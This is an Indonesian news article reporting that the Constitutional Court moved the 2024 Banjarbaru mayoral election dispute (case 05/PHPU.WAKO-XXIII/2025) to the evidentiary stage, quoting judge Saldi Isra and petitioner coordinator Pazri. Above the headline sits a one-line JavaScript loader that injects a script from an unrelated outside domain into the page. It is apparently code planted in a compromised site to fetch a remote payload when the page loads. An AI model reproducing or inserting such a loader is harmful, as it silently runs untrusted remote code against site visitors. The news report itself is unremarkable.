(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

MK Putuskan Sengketa Pilwali Banjarbaru Lanjut Sidang Pembuktian

KANALKALIMANTAN.COM, JAKARTA – Majelis Hakim Mahkamah Konstitusi (MK) memutuskan melanjutkan pemeriksaan perkara sengketa hasil pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024 ke tahap pembuktian.

Putusan tersebut disampaikan hakim MK melalui sidang putusan sela, Selasa (4/2/2025) siang, di ruang sidang MKRI, Jakarta.

Perkara sengketa perselisihan hasil Pilwali Banjarbaru yang diputuskan untuk dilanjutkan ke tahap berikutnya adalah perkara nomor 05/PHPU.WAKO-XXIII/2025.

“Dari 58 nomor yang dipanggil hari ini, 52 sudah diucapkan, 6 yang lain yang tidak diucapkan itu perkara yang lanjut ke pembuktian,” kata hakim MK, Saldi Isra.

“Perkara Nomor 132 PHPU Bupati Kabupaten Tasikmalaya, Nomor 30 PHPU Kabupaten Magetan, PHPU Bupati Nomor 20 Kabupaten Pesawaran, Nomor 2672 PHPU Kabupaten Mimika, perkara Nomor 05 PHPU Wali Kota Banjarbaru, yang terakhir Nomor 44 Bupati Aceh Timur, akan dilanjutkan ke persidangan pemeriksaan lanjutan,” sambung Saldi Isra.

Perkara yang dikabulkan tersebut, termasuk Pilwali Banjarbaru, dimana persidangan akan dilanjutkan mendengarkan keterangan saksi dan ahli.

Hakim memberikan batasan jumlah saksi atau ahli yang dihadirkan maksimal 4 orang, dan pemeriksaan dilaksanakan dalam satu kali sidang.

Diketahui, perkara Nomor 05 PHPU.WAKO-XXIII/2025 tersebut pemohonnya adalah Muhammad Arifin, pemantau pemilu dari Lembaga Visi Nusantara Kalimantan (LS Vinus) Kalimantan Selatan yang memberikan kuasa kepada Tim Banjarbaru Haram Manyarah (Hanyar).

Petitum permohonan Tim Banjarbaru Hanyar diantaranya meminta untuk dibatalkan keputusan KPU Kota Banjarbaru Nomor 191 Tahun 2024 tentang penetapan perolehan suara hasil Pilwali Banjarbaru 2024.

Permohonan berikutnya agar MK memerintahkan kepada KPU RI untuk mengambil alih dan melaksanakan pemungutan suara ulang di seluruh Tempat Pemungutan Suara (TPS) di Kota Banjarbaru dengan mekanisme pasangan nomor urut 1 melawan kotak kosong.

Koordinator tim Banjarbaru Hanyar, Pazri mengungkapkan rasa syukur atas putusan hakim MK yang melanjutkan perkara pihaknya dan mengesampingkan eksepsi yang disampaikan termohon KPU Banjarbaru. Pazri mengatakan Tim Banjarbaru Hanyar telah siap untuk menghadapi sidang pembuktian.

“Kami siap untuk membuktikan lebih jauh lagi terkait pelanggaran-pelanggaran yang dilaksanakan penyelenggara, kami siapkan saksi dan ahli,” katanya.

“Kami semakin yakin kedepan permohonan kami akan dikabulkan, setidaknya Pilkada di Banjarbaru diulang dan diambil alih KPU RI,” pungkasnya.

Selain satu perkara tersebut masih ada 3 perkara sengketa Pilwali Banjarbaru yang menunggu dibacakan putusan sela hakim MK.

Perkara Nomor 06 PHPU.WAKO-XXIII/2025 dengan pemohon dua warga Banjarbaru Udiansyah dan Abdul Karim, perkara nomor 07/PHPU.WAKO-XXIII//2025 dengan pemohon warga Banjarbaru HE Benyamin, Hudan Nur, Zepi Al Ayubi, dan Sandy Firly. Dan perkara nomor 09/PHPU.WAKO-XXIII//2025 pemohonH Said Abdullah selaku calon Wakil Wali Kota Banjarbaru terdiskualifikasi. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie